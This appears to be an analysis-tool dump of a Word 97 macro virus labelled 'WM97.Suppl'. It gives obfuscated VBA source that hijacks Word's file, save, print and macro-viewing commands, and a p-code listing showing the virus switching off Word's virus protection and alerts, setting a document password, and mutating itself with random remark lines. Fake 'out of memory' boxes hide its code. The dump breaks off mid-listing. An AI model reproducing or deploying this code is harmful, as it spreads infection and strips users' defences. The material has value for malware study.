SkIuCpEoJmRwLjNxKvKsTuVw57589950 On Error Resume Next CtPyNqOuDx = SvDjJtJq & GzIsIjQyEhCtSyAgDxHeVrMoUxRhFkNkTsJoVlTiIySkQgBuJfSrApFtBv644551 Call Gj9161 QsCkAlEkFxGg = OnEpQlArPrNrLiCzBlAjSfSfDhQpPkVjElUsFxRp & RjInGrFiMfTsPtLoIzPsBkMuAzBwBeOjQfThVmRq60948598 Call FfPiJx2355 DzRy = DrLoHpTeKhQoOuSmQtDmTpVoLmMh & KqQhEuEfRvHpKnGlVuEjSnMpBmHhCvOzSjDqBfMpBiMeNv44422775 End Sub Sub DateiNeu() ChCpFvVsRoIw = GoEtEeFu & MsDnJnElAsGuTqHlGtTfVzPoBpIlIlVePtDzPfPmQjRhAtAmFgLmEmBy62703788 On Error Resume Next Gv = StPn & FfJlHmTtPxSwUtCxGiErUj79821906 Dialogs(wdDialogFileNew).Show CeKqNpHtSvUuFjHwTmIvMrBpBqRwQtIeMuPgSe = DjQlRiAuLlJiJrGnMeJmAjVn & Sk8886149 Call Gj9161 LoPkOpTrDn = CvHtItPlUeVuHpEsAhIpQmGzNjGtCnTnOxTlBfMlMpGkRlCq & JjBwNrBhTgRhHzCtDpJrUtOxUeUrTwGfPqQxSsHsGgDyThHuHgVsGqLpSyVx92191283 Call FfPiJx2355 FhRiJyHiSeHkPjBeQuDzUwIhCl = LqMzNeOiImBiVtAySg & AwAmJpLlRrDzAgHiAyHrMnRsEqGy77448884 End Sub Sub DateiOffnen() QfRwPi = IvFeBqDvGqCpBsPfMhRvUtUmNlDsLzTkTgNzArOnLhRkLkNs & NoDjJsEsUtFe87142400 On Error Resume Next CjSqEiBeIzDmUlVsOkBoQh = Ae & SkIuCpEoJmRwLjNxKvKsTuVw57589950 Dialogs(wdDialogFileOpen).Show CtPyNqOuDx = SvDjJtJq & GzIsIjQyEhCtSyAgDxHeVrMoUxRhFkNkTsJoVlTiIySkQgBuJfSrApFtBv644551 Call Gj9161 QsCkAlEkFxGg = OnEpQlArPrNrLiCzBlAjSfSfDhQpPkVjElUsFxRp & RjInGrFiMfTsPtLoIzPsBkMuAzBwBeOjQfThVmRq60948598 Call FfPiJx2355 DzRy = DrLoHpTeKhQoOuSmQtDmTpVoLmMh & KqQhEuEfRvHpKnGlVuEjSnMpBmHhCvOzSjDqBfMpBiMeNv44422775 End Sub Sub DateiSchliesen() ChCpFvVsRoIw = GoEtEeFu & MsDnJnElAsGuTqHlGtTfVzPoBpIlIlVePtDzPfPmQjRhAtAmFgLmEmBy62703788 On Error Resume Next Gv = StPn & FfJlHmTtPxSwUtCxGiErUj79821906 Call Gj9161 CeKqNpHtSvUuFjHwTmIvMrBpBqRwQtIeMuPgSe = DjQlRiAuLlJiJrGnMeJmAjVn & Sk8886149 Call FfPiJx2355 LoPkOpTrDn = CvHtItPlUeVuHpEsAhIpQmGzNjGtCnTnOxTlBfMlMpGkRlCq & JjBwNrBhTgRhHzCtDpJrUtOxUeUrTwGfPqQxSsHsGgDyThHuHgVsGqLpSyVx92191283 WordBasic.FileClose dlg FhRiJyHiSeHkPjBeQuDzUwIhCl = LqMzNeOiImBiVtAySg & AwAmJpLlRrDzAgHiAyHrMnRsEqGy77448884 End Sub Sub DateiSpeichern() QfRwPi = IvFeBqDvGqCpBsPfMhRvUtUmNlDsLzTkTgNzArOnLhRkLkNs & NoDjJsEsUtFe87142400 On Error Resume Next CjSqEiBeIzDmUlVsOkBoQh = Ae & SkIuCpEoJmRwLjNxKvKsTuVw57589950 Call Gj9161 CtPyNqOuDx = SvDjJtJq & GzIsIjQyEhCtSyAgDxHeVrMoUxRhFkNkTsJoVlTiIySkQgBuJfSrApFtBv644551 Call FfPiJx2355 QsCkAlEkFxGg = OnEpQlArPrNrLiCzBlAjSfSfDhQpPkVjElUsFxRp & RjInGrFiMfTsPtLoIzPsBkMuAzBwBeOjQfThVmRq60948598 ActiveDocument.Save DzRy = DrLoHpTeKhQoOuSmQtDmTpVoLmMh & KqQhEuEfRvHpKnGlVuEjSnMpBmHhCvOzSjDqBfMpBiMeNv44422775 End Sub Sub DateiSpeichernUnter() ChCpFvVsRoIw = GoEtEeFu & MsDnJnElAsGuTqHlGtTfVzPoBpIlIlVePtDzPfPmQjRhAtAmFgLmEmBy62703788 On Error Resume Next Gv = StPn & FfJlHmTtPxSwUtCxGiErUj79821906 Call Gj9161 CeKqNpHtSvUuFjHwTmIvMrBpBqRwQtIeMuPgSe = DjQlRiAuLlJiJrGnMeJmAjVn & Sk8886149 Call FfPiJx2355 LoPkOpTrDn = CvHtItPlUeVuHpEsAhIpQmGzNjGtCnTnOxTlBfMlMpGkRlCq & JjBwNrBhTgRhHzCtDpJrUtOxUeUrTwGfPqQxSsHsGgDyThHuHgVsGqLpSyVx92191283 Dialogs(wdDialogFileSaveAs).Show FhRiJyHiSeHkPjBeQuDzUwIhCl = LqMzNeOiImBiVtAySg & AwAmJpLlRrDzAgHiAyHrMnRsEqGy77448884 End Sub Sub DateiDrucken() QfRwPi = IvFeBqDvGqCpBsPfMhRvUtUmNlDsLzTkTgNzArOnLhRkLkNs & NoDjJsEsUtFe87142400 On Error Resume Next CjSqEiBeIzDmUlVsOkBoQh = Ae & SkIuCpEoJmRwLjNxKvKsTuVw57589950 Call Gj9161 CtPyNqOuDx = SvDjJtJq & GzIsIjQyEhCtSyAgDxHeVrMoUxRhFkNkTsJoVlTiIySkQgBuJfSrApFtBv644551 Call FfPiJx2355 QsCkAlEkFxGg = OnEpQlArPrNrLiCzBlAjSfSfDhQpPkVjElUsFxRp & RjInGrFiMfTsPtLoIzPsBkMuAzBwBeOjQfThVmRq60948598 Dialogs(wdDialogFilePrint).Show DzRy = DrLoHpTeKhQoOuSmQtDmTpVoLmMh & KqQhEuEfRvHpKnGlVuEjSnMpBmHhCvOzSjDqBfMpBiMeNv44422775 End Sub Sub BearbeitenErsetzen() ChCpFvVsRoIw = GoEtEeFu & MsDnJnElAsGuTqHlGtTfVzPoBpIlIlVePtDzPfPmQjRhAtAmFgLmEmBy62703788 On Error Resume Next Gv = StPn & FfJlHmTtPxSwUtCxGiErUj79821906 Call Gj9161 CeKqNpHtSvUuFjHwTmIvMrBpBqRwQtIeMuPgSe = DjQlRiAuLlJiJrGnMeJmAjVn & Sk8886149 Call FfPiJx2355 LoPkOpTrDn = CvHtItPlUeVuHpEsAhIpQmGzNjGtCnTnOxTlBfMlMpGkRlCq & JjBwNrBhTgRhHzCtDpJrUtOxUeUrTwGfPqQxSsHsGgDyThHuHgVsGqLpSyVx92191283 Dialogs(wdDialogEditReplace).Show FhRiJyHiSeHkPjBeQuDzUwIhCl = LqMzNeOiImBiVtAySg & AwAmJpLlRrDzAgHiAyHrMnRsEqGy77448884 End Sub Sub ExtrasRechtschreibung() QfRwPi = IvFeBqDvGqCpBsPfMhRvUtUmNlDsLzTkTgNzArOnLhRkLkNs & NoDjJsEsUtFe87142400 On Error Resume Next CjSqEiBeIzDmUlVsOkBoQh = Ae & SkIuCpEoJmRwLjNxKvKsTuVw57589950 Call Gj9161 CtPyNqOuDx = SvDjJtJq & GzIsIjQyEhCtSyAgDxHeVrMoUxRhFkNkTsJoVlTiIySkQgBuJfSrApFtBv644551 Call FfPiJx2355 QsCkAlEkFxGg = OnEpQlArPrNrLiCzBlAjSfSfDhQpPkVjElUsFxRp & RjInGrFiMfTsPtLoIzPsBkMuAzBwBeOjQfThVmRq60948598 If Options.CheckGrammarWithSpelling = True Then DzRy = DrLoHpTeKhQoOuSmQtDmTpVoLmMh & KqQhEuEfRvHpKnGlVuEjSnMpBmHhCvOzSjDqBfMpBiMeNv44422775 ActiveDocument.CheckGrammar ChCpFvVsRoIw = GoEtEeFu & MsDnJnElAsGuTqHlGtTfVzPoBpIlIlVePtDzPfPmQjRhAtAmFgLmEmBy62703788 Else Gv = StPn & FfJlHmTtPxSwUtCxGiErUj79821906 ActiveDocument.CheckSpelling CeKqNpHtSvUuFjHwTmIvMrBpBqRwQtIeMuPgSe = DjQlRiAuLlJiJrGnMeJmAjVn & Sk8886149 End If LoPkOpTrDn = CvHtItPlUeVuHpEsAhIpQmGzNjGtCnTnOxTlBfMlMpGkRlCq & JjBwNrBhTgRhHzCtDpJrUtOxUeUrTwGfPqQxSsHsGgDyThHuHgVsGqLpSyVx92191283 End Sub Sub ExtrasSilbentrennung() FhRiJyHiSeHkPjBeQuDzUwIhCl = LqMzNeOiImBiVtAySg & AwAmJpLlRrDzAgHiAyHrMnRsEqGy77448884 On Error Resume Next QfRwPi = IvFeBqDvGqCpBsPfMhRvUtUmNlDsLzTkTgNzArOnLhRkLkNs & NoDjJsEsUtFe87142400 Call Gj9161 CjSqEiBeIzDmUlVsOkBoQh = Ae & SkIuCpEoJmRwLjNxKvKsTuVw57589950 Call FfPiJx2355 CtPyNqOuDx = SvDjJtJq & GzIsIjQyEhCtSyAgDxHeVrMoUxRhFkNkTsJoVlTiIySkQgBuJfSrApFtBv644551 Dialogs(wdDialogsToolsHyphenation).Show QsCkAlEkFxGg = OnEpQlArPrNrLiCzBlAjSfSfDhQpPkVjElUsFxRp & RjInGrFiMfTsPtLoIzPsBkMuAzBwBeOjQfThVmRq60948598 End Sub Sub ExtrasOptionen() DzRy = DrLoHpTeKhQoOuSmQtDmTpVoLmMh & KqQhEuEfRvHpKnGlVuEjSnMpBmHhCvOzSjDqBfMpBiMeNv44422775 On Error Resume Next ChCpFvVsRoIw = GoEtEeFu & MsDnJnElAsGuTqHlGtTfVzPoBpIlIlVePtDzPfPmQjRhAtAmFgLmEmBy62703788 Call Gj9161 Gv = StPn & FfJlHmTtPxSwUtCxGiErUj79821906 Call FfPiJx2355 CeKqNpHtSvUuFjHwTmIvMrBpBqRwQtIeMuPgSe = DjQlRiAuLlJiJrGnMeJmAjVn & Sk8886149 Dialogs(wdDialogToolsOptions).Show LoPkOpTrDn = CvHtItPlUeVuHpEsAhIpQmGzNjGtCnTnOxTlBfMlMpGkRlCq & JjBwNrBhTgRhHzCtDpJrUtOxUeUrTwGfPqQxSsHsGgDyThHuHgVsGqLpSyVx92191283 End Sub Sub ViewCode() FhRiJyHiSeHkPjBeQuDzUwIhCl = LqMzNeOiImBiVtAySg & AwAmJpLlRrDzAgHiAyHrMnRsEqGy77448884 On Error Resume Next QfRwPi = IvFeBqDvGqCpBsPfMhRvUtUmNlDsLzTkTgNzArOnLhRkLkNs & NoDjJsEsUtFe87142400 Call Gj9161 CjSqEiBeIzDmUlVsOkBoQh = Ae & SkIuCpEoJmRwLjNxKvKsTuVw57589950 Call FfPiJx2355 CtPyNqOuDx = SvDjJtJq & GzIsIjQyEhCtSyAgDxHeVrMoUxRhFkNkTsJoVlTiIySkQgBuJfSrApFtBv644551 MsgBox "Nicht genug Speicher um Anwendung auszufuhren", 16, "Microsoft Word" QsCkAlEkFxGg = OnEpQlArPrNrLiCzBlAjSfSfDhQpPkVjElUsFxRp & RjInGrFiMfTsPtLoIzPsBkMuAzBwBeOjQfThVmRq60948598 End Sub Sub ViewVBCode() DzRy = DrLoHpTeKhQoOuSmQtDmTpVoLmMh & KqQhEuEfRvHpKnGlVuEjSnMpBmHhCvOzSjDqBfMpBiMeNv44422775 On Error Resume Next ChCpFvVsRoIw = GoEtEeFu & MsDnJnElAsGuTqHlGtTfVzPoBpIlIlVePtDzPfPmQjRhAtAmFgLmEmBy62703788 Call Gj9161 Gv = StPn & FfJlHmTtPxSwUtCxGiErUj79821906 Call FfPiJx2355 CeKqNpHtSvUuFjHwTmIvMrBpBqRwQtIeMuPgSe = DjQlRiAuLlJiJrGnMeJmAjVn & Sk8886149 MsgBox "Nicht genug Speicher um Anwendung auszufuhren", 16, "Microsoft Word" LoPkOpTrDn = CvHtItPlUeVuHpEsAhIpQmGzNjGtCnTnOxTlBfMlMpGkRlCq & JjBwNrBhTgRhHzCtDpJrUtOxUeUrTwGfPqQxSsHsGgDyThHuHgVsGqLpSyVx92191283 End Sub Sub FileTemplates() FhRiJyHiSeHkPjBeQuDzUwIhCl = LqMzNeOiImBiVtAySg & AwAmJpLlRrDzAgHiAyHrMnRsEqGy77448884 On Error Resume Next QfRwPi = IvFeBqDvGqCpBsPfMhRvUtUmNlDsLzTkTgNzArOnLhRkLkNs & NoDjJsEsUtFe87142400 Call Gj9161 CjSqEiBeIzDmUlVsOkBoQh = Ae & SkIuCpEoJmRwLjNxKvKsTuVw57589950 Call FfPiJx2355 CtPyNqOuDx = SvDjJtJq & GzIsIjQyEhCtSyAgDxHeVrMoUxRhFkNkTsJoVlTiIySkQgBuJfSrApFtBv644551 MsgBox "Nicht genug Speicher um Anwendung auszufuhren", 16, "Microsoft Word" QsCkAlEkFxGg = OnEpQlArPrNrLiCzBlAjSfSfDhQpPkVjElUsFxRp & RjInGrFiMfTsPtLoIzPsBkMuAzBwBeOjQfThVmRq60948598 End Sub Sub ToolsMacro() DzRy = DrLoHpTeKhQoOuSmQtDmTpVoLmMh & KqQhEuEfRvHpKnGlVuEjSnMpBmHhCvOzSjDqBfMpBiMeNv44422775 On Error Resume Next ChCpFvVsRoIw = GoEtEeFu & MsDnJnElAsGuTqHlGtTfVzPoBpIlIlVePtDzPfPmQjRhAtAmFgLmEmBy62703788 Call Gj9161 Gv = StPn & FfJlHmTtPxSwUtCxGiErUj79821906 Call FfPiJx2355 CeKqNpHtSvUuFjHwTmIvMrBpBqRwQtIeMuPgSe = DjQlRiAuLlJiJrGnMeJmAjVn & Sk8886149 MsgBox "Nicht genug Speicher um Anwendung auszufuhren", 16, "Microsoft Word" LoPkOpTrDn = CvHtItPlUeVuHpEsAhIpQmGzNjGtCnTnOxTlBfMlMpGkRlCq & JjBwNrBhTgRhHzCtDpJrUtOxUeUrTwGfPqQxSsHsGgDyThHuHgVsGqLpSyVx92191283 End Sub Sub FormatStyle() FhRiJyHiSeHkPjBeQuDzUwIhCl = LqMzNeOiImBiVtAySg & AwAmJpLlRrDzAgHiAyHrMnRsEqGy77448884 On Error Resume Next QfRwPi = IvFeBqDvGqCpBsPfMhRvUtUmNlDsLzTkTgNzArOnLhRkLkNs & NoDjJsEsUtFe87142400 Call Gj9161 CjSqEiBeIzDmUlVsOkBoQh = Ae & SkIuCpEoJmRwLjNxKvKsTuVw57589950 Call FfPiJx2355 CtPyNqOuDx = SvDjJtJq & GzIsIjQyEhCtSyAgDxHeVrMoUxRhFkNkTsJoVlTiIySkQgBuJfSrApFtBv644551 MsgBox "Nicht genug Speicher um Anwendung auszufuhren", 16, "Microsoft Word" QsCkAlEkFxGg = OnEpQlArPrNrLiCzBlAjSfSfDhQpPkVjElUsFxRp & RjInGrFiMfTsPtLoIzPsBkMuAzBwBeOjQfThVmRq60948598 End Sub ' Processing file: /tmp/qstore_8pkv_0pv ' =============================================================================== ' Module streams: ' Macros/VBA/ThisDocument - 903 bytes ' Macros/VBA/Suppl - 34106 bytes ' Line #0: ' FuncDefn (Declare Function ShowCursor Lib "USER32" (ByVal fShow As Integer) As Integer) ' Line #1: ' Rem 0x0013 " KHZUSKTHJLYDQJCECL" ' Line #2: ' Rem 0x0013 " KHZUSKTHJLYDQJCECL" ' Line #3: ' Rem 0x0013 " KHZUSKTHJLYDQJCECL" ' Line #4: ' Rem 0x0013 " KHZUSKTHJLYDQJCECL" ' Line #5: ' Rem 0x0013 " KHZUSKTHJLYDQJCECL" ' Line #6: ' Rem 0x0017 " XLRNNMJKHBGZBKJMEMGQOE" ' Line #7: ' Rem 0x0017 " XLRNNMJKHBGZBKJMEMGQOE" ' Line #8: ' Rem 0x0013 " KHZUSKTHJLYDQJCECL" ' Line #9: ' Rem 0x0017 " XLRNNMJKHBGZBKJMEMGQOE" ' Line #10: ' Rem 0x0013 " KHZUSKTHJLYDQJCECL" ' Line #11: ' Rem 0x0017 " XLRNNMJKHBGZBKJMEMGQOE" ' Line #12: ' Rem 0x0017 " XLRNNMJKHBGZBKJMEMGQOE" ' Line #13: ' FuncDefn (Sub FfPiJx2355()) ' Line #14: ' Rem 0x0017 " XLRNNMJKHBGZBKJMEMGQOE" ' Line #15: ' Rem 0x0017 " XLRNNMJKHBGZBKJMEMGQOE" ' Line #16: ' Line #17: ' QuoteRem 0x0004 0x0024 " -= [LineZerO's Macro Engine 1.2] =-" ' Line #18: ' QuoteRem 0x0004 0x0013 " -= [WM97.Suppl] =-" ' Line #19: ' Line #20: ' QuoteRem 0x0004 0x0023 " -= [ID: 20264-Gj-91612355-Ij.W] =-" ' Line #21: ' Line #22: ' Ld SgAzGjPyDpRn ' Ld RsFuPyCzMiQqLjVzIpTwNxHyCvMxJqQvFfKlDrQtLxNqMpGiDrQiDpJz60749385 ' Concat ' St OfPyPpJwSwEkUgItVfFy ' Line #23: ' OnError (Resume Next) ' Line #24: ' Ld HkVjOmAnLfKxHoNtIhTwVlPzKu ' Ld DsSmUnUvNqVmFtVmCyTjOhJmTrRi62584069 ' Concat ' St VqIuHyAnTtHu ' Line #25: ' LitDI2 0x0000 ' Ld WordBasic ' ArgsMemCall DisableAutoMacros 0x0001 ' Line #26: ' Ld SsDhPlTgBlAuUeInUiSiQlGrLwPkViApCp ' Ld CeViOfQyKyByMoPnKxDoMz4992067 ' Concat ' St IiFmBhElDfVwKyTeRzIrUjTvTmFpGxCyBlFkJg ' Line #27: ' LitVarSpecial (False) ' Ld ActiveDocument ' MemSt ReadOnlyRecommended ' Line #28: ' Ld IgOvVfOwGtLlSjClVsQlIhBqGfUhGlRxUoDrFsIv ' Ld SlLkPtUn93132828 ' Concat ' St KiMuOj ' Line #29: ' StartWithExpr ' Ld Application ' With ' Line #30: ' Ld RsHhImKgJsTk ' Ld PrGtSuAvTxQqHgRiEnVpOyUmPgBoTrKfUyNtOtHhGtHsRzMoMiHmOjAeKfRw84612419 ' Concat ' St PgSuKeSfNrBiPs ' Line #31: ' Ld wdCancelDisabled ' MemStWith EnableCancelKey ' Line #32: ' Ld TzMxOvTyAtFrHiLvTqUtCpVfDyKiLz ' Ld GoHhHxIkHhNxAuCoHlTsLoIzIrOlBfMnSsIsHhGfTqSuDuRkCoUrVoMzSyTo15297737 ' Concat ' St RnBhLpAyToTiTkGfReFiDwEjGt ' Line #33: ' Ld wdAlertsNone ' MemStWith DisplayAlerts ' Line #34: ' Ld PkGm ' Ld OxQiSjOjCjGwKeQkVtRiKkCsGyPfPpQtPiDiApJoPrIvIwJiIgDzNlTtUmMi79282683 ' Concat ' St ExGxNpMwEgCjUtGzNyRoMzKjJvCkEtAhNgUw ' Line #35: ' EndWith ' Line #36: ' Ld KnVjQsUvNvTkFsSsCjPqAlJwIsKvQlIxMf ' Ld OsDkUeBzJnJhJwThIlMtSqHw922567 ' Concat ' St JuRvKyUnLnJvHtBeVpKxQjBrExElHzOgDxBx ' Line #37: ' StartWithExpr ' Ld Options ' With ' Line #38: ' Rem 0x000F " CPEYCLHWTHRGCA" ' Line #39: ' Ld OmOoVzJmUjNiHx ' Ld CgPsQoCyUeCsFlGqLmMwRiHrAmFjReQhUtLsDzLqFxOiPy64664801 ' Concat ' St NpEyMwSwCzToVhJfUzAvGpGlIyHuIfFtKqMuDzIx ' Line #40: ' Rem 0x000F " CPEYCLHWTHRGCA" ' Line #41: ' LitVarSpecial (False) ' MemStWith ConfirmConversions ' Line #42: ' Rem 0x000F " CPEYCLHWTHRGCA" ' Line #43: ' Ld PoFpDgHsNlOmKtIjEhMkPsKf ' Ld NuDwHeJzTwAoCpSjLpSwLzOkVtUlDwNwGsOqIrSvFqVxPoFlEy93161660 ' Concat ' St FtVkLkCsQhNmCmSuBtIhQeKiTyTn ' Line #44: ' Rem 0x000F " CPEYCLHWTHRGCA" ' Line #45: ' LitVarSpecial (False) ' MemStWith VirusProtection ' Line #46: ' Rem 0x000F " CPEYCLHWTHRGCA" ' Line #47: ' Rem 0x0017 " CZRAOCCUHBHJHYZKHEEQKK" ' Line #48: ' Rem 0x000F " CPEYCLHWTHRGCA" ' Line #49: ' Rem 0x0017 " CZRAOCCUHBHJHYZKHEEQKK" ' Line #50: ' Ld CiQgLjKtRkLoEmOmMgGjKsHuBmPzNoIvSgIz ' Ld AmOzPgGtLmTsErHjVrRpBnQxPsPlUvPsEiFi64742405 ' Concat ' St RxTpVxNsOmMr ' Line #51: ' Rem 0x000F " CPEYCLHWTHRGCA" ' Line #52: ' Rem 0x0017 " CZRAOCCUHBHJHYZKHEEQKK" ' Line #53: ' Rem 0x0009 " JATVHSKV" ' Line #54: ' Rem 0x0017 " CZRAOCCUHBHJHYZKHEEQKK" ' Line #55: ' EndWith ' Line #56: ' Rem 0x0017 " CZRAOCCUHBHJHYZKHEEQKK" ' Line #57: ' Rem 0x0009 " JATVHSKV" ' Line #58: ' Rem 0x0017 " CZRAOCCUHBHJHYZKHEEQKK" ' Line #59: ' Rem 0x0009 " JATVHSKV" ' Line #60: ' Rem 0x0017 " CZRAOCCUHBHJHYZKHEEQKK" ' Line #61: ' Rem 0x0009 " JATVHSKV" ' Line #62: ' Rem 0x0009 " JATVHSKV" ' Line #63: ' Rem 0x0009 " JATVHSKV" ' Line #64: ' Ld HgTkTkOsLrDuOkCzRpQrSjQyGwCrIrNkCy ' Ld DfIiMeLmOzMpMrNeAuNlIvUvJtTfTvQhOmQnQePnGmFyRnEp54924787 ' Concat ' St TyVyLlUwRrHnVyTtQyRfDyKzJiAnIs ' Line #65: ' Rem 0x0009 " JATVHSKV" ' Line #66: ' QuoteRem 0x0001 0x0025 "This code is taken from Pyro \| Thanks" ' Line #67: ' Ld CzQuDpToGtAjRmDtMuJeGwPlGxAuVgShFuCgNhPvTk ' Ld CqVuKmVjOtJmUwAsIxFrCsQlGnHmNhRnDqKvEgSwHp14894475 ' Concat ' St DoFzHqDqPjHpFnSjLmFwJmJwGjCyMeGyItEyMm ' Line #68: ' SetStmt ' Ld MacroContainer ' Set Current ' Line #69: ' Ld OpNeKsFjHjHjRz ' Ld QhTwJjJmRgTqLkSoLfLrHlBkKjCkJlQv28832611 ' Concat ' St ImLzDm ' Line #70: ' StartForVariable ' Ld Grow ' EndForVariable ' LitDI2 0x0001 ' LitDI2 0x0014 ' For ' Line #71: ' Rem 0x0021 " HGMGIBMFWPTYIOCQKYCYQJDMFZDAIOXN" ' Line #72: ' Rem 0x0021 " HGMGIBMFWPTYIOCQKYCYQJDMFZDAIOXN" ' Line #73: ' Ld DwBoPhAoAeOvVhIuFeFxOgGiHzQeGyEsHq ' Ld SpByJrHqDe60707973 ' Concat ' St Dr ' Line #74: ' Rem 0x0021 " HGMGIBMFWPTYIOCQKYCYQJDMFZDAIOXN" ' Line #75: ' Rem 0x0021 " HGMGIBMFWPTYIOCQKYCYQJDMFZDAIOXN" ' Line #76: ' Rem 0x0028 " URXWKDYUSKAEENKCHQWMEXJIUFLGWPJKWPYNIWG" ' Line #77: ' Rem 0x0021 " HGMGIBMFWPTYIOCQKYCYQJDMFZDAIOXN" ' Line #78: ' Rem 0x0021 " HGMGIBMFWPTYIOCQKYCYQJDMFZDAIOXN" ' Line #79: ' Rem 0x0028 " URXWKDYUSKAEENKCHQWMEXJIUFLGWPJKWPYNIWG" ' Line #80: ' Rem 0x0021 " HGMGIBMFWPTYIOCQKYCYQJDMFZDAIOXN" ' Line #81: ' Rem 0x0028 " URXWKDYUSKAEENKCHQWMEXJIUFLGWPJKWPYNIWG" ' Line #82: ' Rem 0x0028 " URXWKDYUSKAEENKCHQWMEXJIUFLGWPJKWPYNIWG" ' Line #83: ' Rem 0x0028 " URXWKDYUSKAEENKCHQWMEXJIUFLGWPJKWPYNIWG" ' Line #84: ' Rem 0x0028 " URXWKDYUSKAEENKCHQWMEXJIUFLGWPJKWPYNIWG" ' Line #85: ' Rem 0x0028 " URXWKDYUSKAEENKCHQWMEXJIUFLGWPJKWPYNIWG" ' Line #86: ' LitStr 0x000A "FfPiJx2355" ' Ld vbext_pk_Proc ' LitStr 0x0005 "Suppl" ' Ld Current ' MemLd VBProject ' ArgsMemLd VBComponents 0x0001 ' MemLd CodeModule ' ArgsMemLd ProcCountLines 0x0002 ' St Number ' Line #87: ' Ld OuLfFsSyRxQyQmCoClAyRgOrLiUlQoTgAeTzJpHhIr ' Ld OqOfDo59116380 ' Concat ' St NjVoRuTeGvPgQnSyLlNjOfAeSgUv ' Line #88: ' ArgsLd Rnd 0x0000 ' Ld Number ' Mul ' LitDI2 0x0001 ' Add ' FnInt ' St RandomLine ' Line #89: ' Ld SfNwJgCx ' Ld RoAgDmHrHzKtVvAnTgVeUgUn85932266 ' Concat ' St SiApLyKm ' Line #90: ' ArgsLd Rnd 0x0000 ' LitDI2 0x0028 ' Mul ' LitDI2 0x0001 ' Add ' FnInt ' St RemarkLength ' Line #91: ' Ld LwDxDsBhPkNiJwLtLsAuNuMjReVyLzLhFxMp ' Ld TnIzSuUgBqHuJrJtKkHuDpMgDfJvBwFqDtKwIgHfFtJmHjCgAvChHgRy94465757 ' Concat ' St BpUrQpVuDoIkAqJrReRiFjGzJkVkRlCv ' Line #92: ' StartForVariable ' Ld Length ' EndForVariable ' LitDI2 0x0001 ' Ld RemarkLength ' For ' Line #93: ' Ld RoTpDkMgSwVgOjGmNiUkIsNeErLpJiClEjRyLqDeCgBq ' Ld KvKpRhBhQvJqVjJmAeQtRjLpNvRwFtLwSvHpSnGiRu89542724 ' Concat ' St HqSqErBtBzVpBr ' Line #94: ' Rem 0x0023 " VRSZIMKSEKOVOLNFQMRXJHHDNFPJWMERTP" ' Line #95: ' Ld Remark ' LitDI2 0x005A ' LitDI2 0x0041 ' Sub ' LitDI2 0x0001 ' Add ' Paren ' Ld Rnd ' Mul ' LitDI2 0x0041 ' Add ' FnInt ' ArgsLd Chr$ 0x0001 ' Add ' St Remark ' Line #96: ' Rem 0x0023 " VRSZIMKSEKOVOLNFQMRXJHHDNFPJWMERTP" ' Line #97: ' Rem 0x0023 " VRSZIMKSEKOVOLNFQMRXJHHDNFPJWMERTP" ' Line #98: ' Rem 0x0023 " VRSZIMKSEKOVOLNFQMRXJHHDNFPJWMERTP" ' Line #99: ' Rem 0x0023 " VRSZIMKSEKOVOLNFQMRXJHHDNFPJWMERTP" ' Line #100: ' Rem 0x0023 " VRSZIMKSEKOVOLNFQMRXJHHDNFPJWMERTP" ' Line #101: ' Rem 0x0023 " VRSZIMKSEKOVOLNFQMRXJHHDNFPJWMERTP" ' Line #102: ' Ld JhSfJiKmIjDvClTxKoGzQfMgIpQyNmHgVkSyFpBxMpByUe ' Ld AuPe60749186 ' Concat ' St QjJjTjIzUv ' Line #103: ' StartForVariable ' Ld Length ' EndForVariable ' NextVar ' Line #104: ' Ld OfRnOsUnUzHe ' Ld ClHjTrIvQgLwDqTfGqLvBgMpGuJtBiKsPhRxFpHkGuDn83357025 ' Concat ' St JnNmPwUsQjFoCzKxMxClCvSk ' Line #105: ' Rem 0x0005 " OSXV" ' Line #106: ' Rem 0x0005 " OSXV" ' Line #107: ' Rem 0x0005 " OSXV" ' Line #108: ' Rem 0x0005 " OSXV" ' Line #109: ' Rem 0x0005 " OSXV" ' Line #110: ' Rem 0x0005 " OSXV" ' Line #111: ' Rem 0x0005 " OSXV" ' Line #112: ' Ld RandomLine ' Ld vbTab ' LitStr 0x0004 "Rem " ' Concat ' Ld Remark ' Concat ' LitStr 0x0005 "Suppl" ' Ld Current ' MemLd VBProject ' ArgsMemLd VBComponents 0x0001 ' MemLd CodeModule ' ArgsMemCall InsertLines 0x0002 ' Line #113: ' Ld AvDyEmVpRzJvHrUuUjNvJuJwMw ' Ld PuMmOzPeFoOzJeKwKlFjNfQiVqNxOeKvEyNyCyLlSkBhArRkMv2280869 ' Concat ' St JvMwIk ' Line #114: ' Rem 0x0006 " DEBSN" ' Line #115: ' Rem 0x0006 " DEBSN" ' Line #116: ' Rem 0x0006 " DEBSN" ' Line #117: ' Rem 0x0006 " DEBSN" ' Line #118: ' Rem 0x0006 " DEBSN" ' Line #119: ' Rem 0x000D " QQGHVVPZXFSZ" ' Line #120: ' Rem 0x0006 " DEBSN" ' Line #121: ' Rem 0x000D " QQGHVVPZXFSZ" ' Line #122: ' Rem 0x000D " QQGHVVPZXFSZ" ' Line #123: ' Rem 0x0006 " DEBSN" ' Line #124: ' Rem 0x000D " QQGHVVPZXFSZ" ' Line #125: ' LitStr 0x0000 "" ' St Remark ' Line #126: ' Rem 0x000D " QQGHVVPZXFSZ" ' Line #127: ' Rem 0x000D " QQGHVVPZXFSZ" ' Line #128: ' Ld MpFhUuRyViCsOiGsElFvTxQvJx ' Ld AjDy98476660 ' Concat ' St OyEwRuFgOxNhOnUvApMnKgHuLoHgAvVzPzGtGxNl ' Line #129: ' Rem 0x000D " QQGHVVPZXFSZ" ' Line #130: ' StartForVariable ' Ld Grow ' EndForVariable ' NextVar ' Line #131: ' Ld HgTkTkOsLrDuOkCzRpQrSjQyGwCrIrNkCy ' Ld DfIiMeLmOzMpMrNeAuNlIvUvJtTfTvQhOmQnQePnGmFyRnEp54924787 ' Concat ' St TyVyLlUwRrHnVyTtQyRfDyKzJiAnIs ' Line #132: ' LitStr 0x0001 " " ' Ld vbOkOnly ' LitStr 0x0005 "Suppl" ' ArgsCall MsgBox 0x0003 ' Line #133: ' Ld CzQuDpToGtAjRmDtMuJeGwPlGxAuVgShFuCgNhPvTk ' Ld CqVuKmVjOtJmUwAsIxFrCsQlGnHmNhRnDqKvEgSwHp14894475 ' Concat ' St DoFzHqDqPjHpFnSjLmFwJmJwGjCyMeGyItEyMm ' Line #134: ' Rem 0x0005 " TKMM" ' Line #135: ' Rem 0x0005 " TKMM" ' Line #136: ' LitStr 0x0005 "suppl" ' Ld ActiveDocument ' MemSt Password ' Line #137: ' Rem 0x0005 " TKMM" ' Line #138: ' Rem 0x0005 " TKMM" ' Line 